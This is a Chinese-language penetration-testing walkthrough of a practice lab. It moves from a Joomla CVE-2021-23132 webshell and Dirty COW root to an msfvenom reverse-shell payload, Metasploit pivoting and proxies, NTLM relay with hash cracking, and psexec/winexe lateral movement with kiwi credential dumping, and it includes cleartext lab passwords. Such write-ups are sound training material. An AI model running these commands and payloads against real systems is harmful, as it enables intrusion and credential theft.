# 环境配置
这台靶机在下载导入到 vm 中后发现都是挂起状态,使用的是 vmnet2 这张网卡,分配的 ip 是 192.168.93 段,和直接桥接,这里添加一张网卡 vmnet2
然后重启一下 web-centos 主机的网卡
/etc/init.d/networking restart |
# 外围打点
# 信息收集
还是从信息收集开始
nmap 192.168.193.0/24 |
经过判断可以知道这里这个 118 这台主机就是本次外围打点的主角了(至于判断过程 emmmm 我开热点就两台主机,乐),这里可以看到实际上这里就 3 个服务,22,80,3306。毕竟是靶场,还是比较套路的,这里先预判一手 80 端口上来个什么 sql 注入之类的,反正就是先安排到数据库,然后在数据库中找到点 “敏感信息”,利用一下这个 22 端口 (az
预判完事了也是先看一下运行的服务版本和然后使用 nmap 先来一下漏洞扫描
nmap 192.168.193.0/24 -p22,80,3306 -sV --script=default |
这里也能获取到版本信息比如说 ssh 服务是 OpenSSH 5.3,http 服务是 nginx1.9.4,3306 是 mysql 5.7.27
值得注意是是这里扫描到 80 上存在 robots 文件,cms 是 Joomla,扫描一下版本
版本是 3.9.12Joomla 远程代码执行漏洞 (CVE-2021-23132) 预警 - 安全内参 | 决策者的网络安全知识库 (secrss.com) 在网上也是检索到了一个远程代码执行的漏洞,不过利用的前置条件是需要登录到后台暂时搁置。这里去访问一下这个 http 服务和这个 robots 文件
这个目录还是有点意思的简单探索一下,但是目录扫描还是必不可少的
31B 大小的都是空白页面,值得关注的有 1.php(这个是 phpinfo 页面),configuration.php~,htaccess.txt,LICENSE.txt,/web.config.txt
实际上最后能找到的点是这个备份的配置文件
这里有数据库的连接信息,尝试连接一下,尝试是否能远程登录上这个 mysql 服务
然后查看数据库中有没有什么有用的信息(预判成功 az)
既然都连上数据库了就简单的试一下,发现这里是有机会直接写入文件的
不过当前是一个低权限用户
这里存在一个角色表,尝试破解这个密码或者再写入一个账号就能利用上面找到的漏洞
# getshell
这里直接选用最靠谱的方法,搭建了一个相同版本的 cms,这里生成的密码就是我自己设置的了。将这个密码复制过去就可以用我自己设置的密码登录了
然后通过 CVE-2021-23132 利用
修改这里的模版
在这里加入一句话
然后通过 shell 工具连上就行了,这里还有 disable_function,也能直接使用蚁剑插件绕过
选择绕过插件
直接 run
然后就可以快乐的执行命令了
# 内网渗透
# 信息收集
当前的权限很低,接下来就是尝试提权,因为蚁剑的终端比较难用,所以我想反弹 shell 出来,检测连通性的时候发现不出网
发现这里的 ip 和我访问的 ip 不是同一个网段,而且也不是多网卡,很显然这台 web 服务是使用了反向代理。接着做信息收集
翻了半天没想到在这,虽然说都会很刻意的放一点信息,但是你这个放在 tmp 目录稍微有点过分了。这里拿到了一组账号密码,尝试登录
这里既然不是数据库的那就只剩下 ssh 了
看一下这个 ip 网卡信息
可以看到这里就是两张网卡的了
也是出网的,现在就可以配置代理了。验证一下前面为什么拿到的 shell 是内网主机的 shell
这里通过 nginx 反向代理
# 提权
GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195
这里发现内核版本很低,该内核版本可以使用脏牛提权
因为脏牛提权实际上是条件竞争,这里 cpu 满了,更加选项设置了一个新的密码
firefart:fiKaC9KswdbbY:0:0:pwned:/root:/bin/bash
# 上线 msf
这个环境很理想,所以可以选择直接配置路由转发
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.193.219 LPROT=4444 -f elf -o shell |
在 msf 中
将上面生成的 shell 上传到靶机上运行
这里就拿到了一个 msf 的 shell
# 代理
# 代理一
首先查看网卡配置信息
run get_local_subnets |
值得我们注意的是这个 192.168.93 网段,这个 ip 很显然是内网 ip,接下类我们开启路由转发
run autoroute -s 192.168.93.0/24 |
可以看到,路由指向已经成功了,我们的 msf 可以将流量通过 session 转发到内网。但是我们别的攻击的使用还是有限制,这里配置一下 socks 代理
use auxiliary/server/socks_proxy | |
run |
socks 代理配置完成,然后我们可以使用 proxychains 工具来进行流量转发
然后对内网的信息进行收集,使用 icmp 探测,这个比较快
for i in {1..254}; do ping -c 1 -W 1 192.168.93.$i 2>/dev/null | grep "ttl" & done |
存活的主机除了后面的 100 和 120 以外,这里又发现了 10,20,30 三台主机,分别使用 nmap 进行扫描
这里有一个 sqlserver 还是值得关注的
虽然但是,怎么想感觉直接拿到一个密码都很奇怪,所以这里换一种代理方式
# 代理二
因为如果不使用密码,相当与我拿到的 shell 是一个内网的 shell,相当于不出网的代理搭建这里基于 webshell 搭建代理使用 pystinger
将对应的 php 的 proxy 文件和 stinger_server 文件上传到网站目录,然后运行 stinger_server
在攻击机上运行
./stinger_client -w http://192.168.193.118/proxy.php -l 127.0.0.1 -p 1080 |
设置好 proxychains,简单试一下
这样就已经可以访问内网的环境了,接下来使用 nmap 对内网主机存活探测,这个代理扫描 emmm 炸的不要太快,但是存活的主机可以查看 arp 的内容
arp | grep "ether" |
太容易炸了,而且权限低,这里只是记录一下,还是用上面那个比较舒服
这里使用 fscan 扫描得到的结果也是一样的,同时还爆出了一个账号密码,root 123 不过当前已经拿到 shell 了没做过高权限的账号密码或许我该前面就拿到,探测出来这个 10 是 DC,存在域 test,20 上还开放了一个 web 服务。虽然上台主机上都开放了 445 端口,但是没有能无脑直接打的什么永恒之蓝,这里将目光转向了 mssql,这个数据库的密码经过测试,前面 mysql 的用户名密码也能直接登录。
# NTLM Relay
扫描域内机器的 SMB 签名的开放情况
proxychains python tools/RunFinger.py -i 192.168.93.10 |
利用 MultiRelay.py 攻击
use auxiliary/admin/mssql/mssql_ntlm_stealer | |
set rhosts 192.168.93.20 | |
set smbproxy 192.168.93.100 | |
set username testuser | |
set password cvcvgjASD!@ | |
run |
到这里抓取到 hash
使用 john 破解
# 内网横向
已经拿到密码了,这里使用 smbclient 查看目标是否开启了 ipc 共享
然后就可以通过 winexe 来拿到 shell
proxychains winexe -U administrator%123qwe\!ASD --uninstall --system //192.168.93.20 cmd.exe |
或者直接使用 msf,20 和 30 两台主机密码是相同的(绝对不是我敲错了 az)
use exploit/windows/smb/psexec | |
set payload windows/x64/meterpreter/bind_tcp | |
set SMBUser administrator | |
set SMBPass 123qwe!ASD | |
set RHOSTS 192.168.93.30 | |
run |
简单用 kiwi 试一下,也是可以成功的,相同的方法上线 20,使用 kiwi 抓取到 dc 的账号密码